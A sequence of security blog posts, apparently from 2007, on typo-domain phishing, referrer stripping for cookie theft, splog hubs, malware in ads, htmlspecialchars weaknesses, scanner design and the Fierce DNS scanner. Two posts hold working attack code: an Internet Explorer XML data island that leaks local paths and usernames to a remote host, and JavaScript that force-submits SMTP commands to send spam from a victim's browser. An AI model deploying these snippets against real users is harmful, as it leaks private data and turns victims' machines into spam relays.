I was reading some random thread about buying .edu domains for SEO purposes, and it suddenly occurred to me that the opposite was an issue at one point. When I was in college one of my friends bought the .com equivalent of the school’s .edu address. He set up a mail server but no web-server. In doing so, he suddenly started getting tons of mis-typed email bound to the school. All sorts of things (mostly annoying email conversations) but at one point he started getting some really interesting stuff around the school’s new facility including the plans for the new building. Granted, he eventually gave it back but it got me thinking about it again.

If you own a sensitive domain’s typo URL, you could easily turn it into a CGI proxy. If someone typos the domain they are probably unlikely to notice it isn’t the real page, especially if it looks and acts like the real domain (if not slightly slower). It could be a way to effectively pharm data from users. It’s not super interesting, it’s just something I thought about from my early college years.

Kuza55 has a really interesting article on his blog around a conversation that Trev got going around how you can modify the domain and steal cookies if you can run an XSS on the site. However, Kuza55 shows that using an iframe that uses a meta refresh (to sanitize the referring URL) you can make the attack completely untraceable back to the origin server/logging server where the attack originated. Very cool.

Now the real question is this, why is there any circumstance that a page will not send a referring URL? Can someone explain how there is any advantage to browser security to disallow that? Sure there are places where you want to clear your referrer due to privacy issues, but from an attacker’s perspective this is one of the few ways to hide what you are doing to a victim. It doesn’t seem like the positive outweighs the negatives in terms of security to remove referring URLs. I’m definitely open to hearing people’s thoughts on this though, as I’m sure there are other reasons people can think up of why it still might have some use.

The $100/month charge for the SEO Blackhat Forums is well worth it if you are either into getting ill gotten gains or into combating those gains. Every time I log in there I find out more interesting things that spammers and blackhat types are doing to make money. There’s a thread on there discussing splog hubs. For those of you who aren’t aware of what this is, let me enlighten you (picture ripped from said splogger):

On the right you have your unique content blogs, like mine or the dozens of other ones that you probably visit, with no malicious or spam content on them. In the middle is a spam hub. On that hub, the spammers pull all the content and aggregate it into a centralized hub. They use IP filtering so that the servers on the left can access it but no one else can. That way if for some reason the splogger visits his own spam hub, and sends a referrer (through an image by inadvertently clicking a link) the owner of the site cannot see their own content on the hub.

In this way they sploggers are scraping their own sites. This is so that when the owner of the site sees their content on the splogs on the right, even if they manage to take them down, they haven’t ruined the infrastructure that is used to scrape their content. Interesting. I have my own fun ways to combat this sort of things (along the lines of how I ruined the another splogger’s day. However, this is an interesting take (a splog by proxy) that I hadn’t heard of before in this way.

I laughed when I saw a recent phishing email. Not so much because it was a new technique - it wasn’t. It was your old generic phishing scheme with SSL put in the middle of it: leo.ne.jp/ssl/onlinebanking.capitalone.com but it suddenly occurred to me. One thing I have heard many security people say when they are trying to explain best practices in web surfing to newbies is “look for SSL”. The term SSL means absolutely nothing to most people outside of the internet technology/security space. They may understand that “https” means it’s secure or that that “little lock thingy” in the corner makes them safe, but they don’t know why, and they probably have no clue that it’s SSL in the back end. So why do we tell them to look for it?

This all goes back to my distaste for consumer education. In this case our education is working wonderfully. The consumers are looking at that nice little “ssl” word and poof, they must be secure! They’ve never seen it before and they have no idea what it means, but they know that they’re secure now. I think it would behoove the security industry to stop chastizing people for being stupid when we are the ones who are misleading or miscommunicating to them in the first place. Besides, we need to come up with something more secure than SSL anyway.

Okay, new proposal time. Instead of inventing a new Internet (internet-s) with all it’s flaws, having to invent TCP and all the other madness all over again, what if we invent a new protocol that was still available to browsers, but lived in a far more restrictive sandbox? Why not make a new protocol that does what SSL was originally intended to do - secure people. No cross domain linking, no session riding, no anti-DNS pinning issues, no communication with browser shims or handlers, no XSS or JavaScript for that matter. Just a clean, well organized and most importantly a secured syntax that we can use for secure communication with servers. Why not? What we have now clearly isn’t working. I’m open to suggestions.

There’s an interesting article about some research that Finjan did regarding their findings that 80% of Malware is served by ads. Taking aside the statistic itself, which you can either agree with or not (maybe it’s 80% that Finjan detected), it’s still an interesting trend. However, one thing struck me in the article that they almost glossed over. They mentioned that one trend is that they are embedding the code so that it executes when seen through translation services. Interesting.

There’s a few reasons this is interesting. Firstly, it’s kind of a slap in the face to people who think that using translation services somehow makes you safer or more private (I’ve never understood why people think that since it still downloads all the embedded content directly from your server), and secondly it really opens up a new way to target your attack. It’s easy to tell when a user is using a translation service (referring URL and/or lack of referring URL but preceded by a pull from a translation service - this could be aided by unique IDs on images to track them back to specific pages).

Now using the translation service to know that your target is located in some area that speaks whatever language they are using, you can be sure that they are in an area that has no extradition treaties with wherever you are hosting. That can greatly reduce the liklihood of getting caught, while still maintaining some good number of malware infections. Kinda nasty. I might be reading a little too far into Finjan’s findings, but still, it’s interesting to think about.

I found this post today by Miles Baker about how to create custom landing pages using PHP. At the end of the article he suggests using HTMLSpecialChars to protect yourself. While generally, that’s correct if you know every place you will be outputting code is within the HTML constructs, it’s really not fool proof. I’m really not sure why this function even exists since it doesn’t do what people want it to do. It only works in some very specific circumstances.

In the case of parameter injection it only works if the user is encapsulated within double quotes (not single quotes) and even then that the page itself isn’t vulnerable to variable width encoding issues or other character issues. Maybe it’s me but can anyone tell me why this function exists or at minimum it doesn’t escape single quotes grave accents and prefferably updated to take into account charsets? I think PHP would be safer, and the amount of code it would break would be minimal, compared to how many sites are vulnerable due to ignorance of what the function actually does and doesn’t protect against.

I’ve been involved in a few scanning projects over the last few years, most of which, I have not been super happy with, because they don’t take into account one thing that humans do - they don’t learn from what they find. I guess there is two classes of scanning. There’s the “noisily scan everything and look for all possible signatures/holes” route, and there is the “quietly look for relevant signatures/holes”. Let me give an example.

Let’s say after a few requests I learn that the host is an IIS server. Do I really need to run exploits that only affect Apache? Or let’s say I know that the server doesn’t support PHP, do I need to be scanning for PHP vulnerabilities in some obscure PHP server? Understandably that’s a quantum leap above where most scanners are, as they typically aim for the noisy scans that request everything under the same.

There are two reasons I would prefer the second type of scan personally. The first is that it greatly reduces the time required to perform the scan, and two it greatly reduces the signatures against the server. It also reduces the chances of an inadvertent DoS, slightly. Now the question is, since you are avoiding certain requests, is it more accurate to say it has none of those vulnerabilities, or is it more accurate to say it is only some percentage clean/scanned? Perhaps it’s better to simply alert the person that only some of the scan was completed based on the information returned, and then allow them to continue the scan if they absolutely must. I’m just not sure where the value is in that.

I’m not sure why it took me so long to get around to this, but I finally was able to test and verify that this works. In Internet Explorer if you can get a user to save a file to disc and run it it will disclose local drive information in the referrer without using JavaScript. trev sent this one to me, and after some failed tests I got it working (still not quite sure why it didn’t work when I first tried it). Here’s the simple code:

<xml id="xml" src="http://my.site.com/"></xml>

Here’s a sample of what the log looked like when I tested it:

xxx.xxx.xxx.xxx - - [25/Mar/2007:20:58:29 -0700] "GET / HTTP/1.1" 200 2231 "file:///C:/Documents%20and%20Settings/RSnake/Desktop/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"

As you can see, not only does this give away local address information, but it can also give you sensitive information like the user name, and the location on the drive. That could easily be used to leverage further attacks, and to my knowledge there is no other way to do this without running JavaScript or some other active control. This completely fails in Firefox as it doesn’t support XML data islands. Nice find, Trev!

Every once in a while I hear something that really gets my imagination going. A few weeks ago when Samy and I were having lunch, he told me about a way to sent email through a browser using a form and an automatic form submission using JavaScript. While not new (there is an old obscure paper about this dating back to 2001), it’s definitely not well known. Especially in the day and age where JavaScript is coming under more scrutiny because of it’s malicious power, this could prove to be a really nasty thing in spammer’s arsenal.

The only obstacle in a spammer’s way is knowing which mail servers will and won’t accept malformed information in this way (thus far it looks like sendmail works, but I haven’t had luck with exchange or qmail). Here’s some sample code:

server='mail.server.com';
document.write('<form name="B" target="A" method="post" action="http://'+server+':25/" enctype="multipart/form-data">');
document.write('<textarea name="C"></textarea></form>');
s = 'HELO test\n';
s += 'EHLO test\n';
s += 'MAIL FROM:<test@hotmail.com>\n';
s += 'RCPT TO:<user@domain.com>\n';
s += 'DATA\n';
s += 'From: test@test.com\n';
s += 'To: test@test.com\n';
s += 'Subject: heh!\n';
s += 'testing 123\n\n';
s += '.\n\nQUIT\n\n';
document.B.C.value=s;
document.B.submit();

Combining XSS, and knowing the user who is visiting the page’s email address can actually create ultra targeted spam sent from that user. Why bother burning through your own IP space if you can get someone else to use theirs? Pretty ugly! Your mileage may vary in the calls themselves. I’d be interested to hear other people’s test results.

I’ve been wrestling with Fierce domain scanner for several months now, and upgrade it at least once every few weeks. Thanks to WhiteAcid who got me in touch with IceShaman we have now ported it to use multi-threading options. This is especially useful if you have PERL compiled with the useithreads option compiled into it. That can drastically reduce the time it takes to perform a scan, especially on a large domain. Oh, but that’s not all, I’ve heard a few complaints about not being able to use multiple DNS servers when you are doing lookups (this reduces the noise of a scan as it spreads it out to many DNS servers with the -dnsfile switch).

Fierce also now just assumes you want to use hosts.txt unless you otherwise state so. That can help when you are trying to quickly perform the scan. To take advantage of these new switches, try something like this:

perl fierce.pl -dns testdomain.com -wide -file output.txt -dnsfile dnsfile.txt -threads 40

The -wide switch makes Fierce search the entire class C for any matches - note that it sometimes errors with a deep recursion if it finds a lot of hosts on a single class C, but this doesn’t affect its functionality. It can slow it down around 51x (255/5) but it can also find a lot more hosts than without. Compare rambler.ru old default scan with rambler.ru new scan with -wide switch.

I’ve also fixed the issue with dumping the zone transfers. Now it will query each and every DNS server (primary, secondary and otherwise) and see if they can get zone transfers from each of them. That can drastically speed up the scan now that it works, and also fixes a bug where it would intermittently work (when one DNS server could transfer the zone and another one won’t - that was a frustrating bug fix). There has been a few minor other enhancements since the last time I posted about Fierce, not the least of which is a far better hosts.txt file that does a much better job of locating larger swaths of networks. Hopefully that will quell a lot of people’s feelings about what Fierce was lacking. So a huge thanks to IceShaman for doing a bulk of the changes, and look for more improvements in the future.